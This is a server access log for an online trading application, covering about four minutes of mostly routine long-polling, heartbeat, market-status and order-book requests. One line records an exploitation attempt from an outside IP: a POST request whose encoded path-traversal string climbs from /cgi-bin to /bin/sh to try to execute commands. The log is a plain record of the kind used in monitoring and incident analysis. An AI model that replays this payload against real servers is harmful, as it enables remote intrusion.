[09/Jan/2026:12:36:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933688765 HTTP/1.1" -
[09/Jan/2026:12:37:01 +0800] 103.40.61.98 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 226
[09/Jan/2026:12:37:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:37:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933693915 HTTP/1.1" -
[09/Jan/2026:12:37:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933699074 HTTP/1.1" -
[09/Jan/2026:12:37:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933704207 HTTP/1.1" -
[09/Jan/2026:12:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:37:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933709367 HTTP/1.1" -
[09/Jan/2026:12:37:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:37:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933714411 HTTP/1.1" -
[09/Jan/2026:12:37:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933719571 HTTP/1.1" -
[09/Jan/2026:12:37:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:37:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933724732 HTTP/1.1" -
[09/Jan/2026:12:37:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933729859 HTTP/1.1" -
[09/Jan/2026:12:37:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933735014 HTTP/1.1" -
[09/Jan/2026:12:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:37:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:37:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:37:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933740154 HTTP/1.1" -
[09/Jan/2026:12:37:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933745249 HTTP/1.1" -
[09/Jan/2026:12:38:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933750320 HTTP/1.1" -
[09/Jan/2026:12:38:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:38:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933755504 HTTP/1.1" -
[09/Jan/2026:12:38:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933760620 HTTP/1.1" -
[09/Jan/2026:12:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933765810 HTTP/1.1" -
[09/Jan/2026:12:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:38:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:38:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933770960 HTTP/1.1" -
[09/Jan/2026:12:38:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933776012 HTTP/1.1" -
[09/Jan/2026:12:38:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933781075 HTTP/1.1" -
[09/Jan/2026:12:38:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:38:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933786205 HTTP/1.1" -
[09/Jan/2026:12:38:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933791348 HTTP/1.1" -
[09/Jan/2026:12:38:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933796386 HTTP/1.1" -
[09/Jan/2026:12:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:38:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:38:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:38:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933801547 HTTP/1.1" -
[09/Jan/2026:12:38:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933806600 HTTP/1.1" -
[09/Jan/2026:12:39:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933811649 HTTP/1.1" -
[09/Jan/2026:12:39:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:39:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933816781 HTTP/1.1" -
[09/Jan/2026:12:39:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933821938 HTTP/1.1" -
[09/Jan/2026:12:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933827048 HTTP/1.1" -
[09/Jan/2026:12:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:39:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:39:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933832188 HTTP/1.1" -
[09/Jan/2026:12:39:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933837239 HTTP/1.1" -
[09/Jan/2026:12:39:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933842295 HTTP/1.1" -
[09/Jan/2026:12:39:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933847441 HTTP/1.1" -
[09/Jan/2026:12:39:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:12:39:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:39:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933852634 HTTP/1.1" -
[09/Jan/2026:12:39:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:39:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:12:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:39:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933857770 HTTP/1.1" -
[09/Jan/2026:12:39:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:39:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:39:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933862837 HTTP/1.1" -
[09/Jan/2026:12:39:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933867979 HTTP/1.1" -
[09/Jan/2026:12:40:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:40:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933873124 HTTP/1.1" -
[09/Jan/2026:12:40:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933878488 HTTP/1.1" -
[09/Jan/2026:12:40:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933883699 HTTP/1.1" -
[09/Jan/2026:12:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:40:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933888829 HTTP/1.1" -
[09/Jan/2026:12:40:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:40:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933893869 HTTP/1.1" -
[09/Jan/2026:12:40:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933898986 HTTP/1.1" -
[09/Jan/2026:12:40:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:40:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:40:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933904187 HTTP/1.1" -
[09/Jan/2026:12:40:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933909320 HTTP/1.1" -
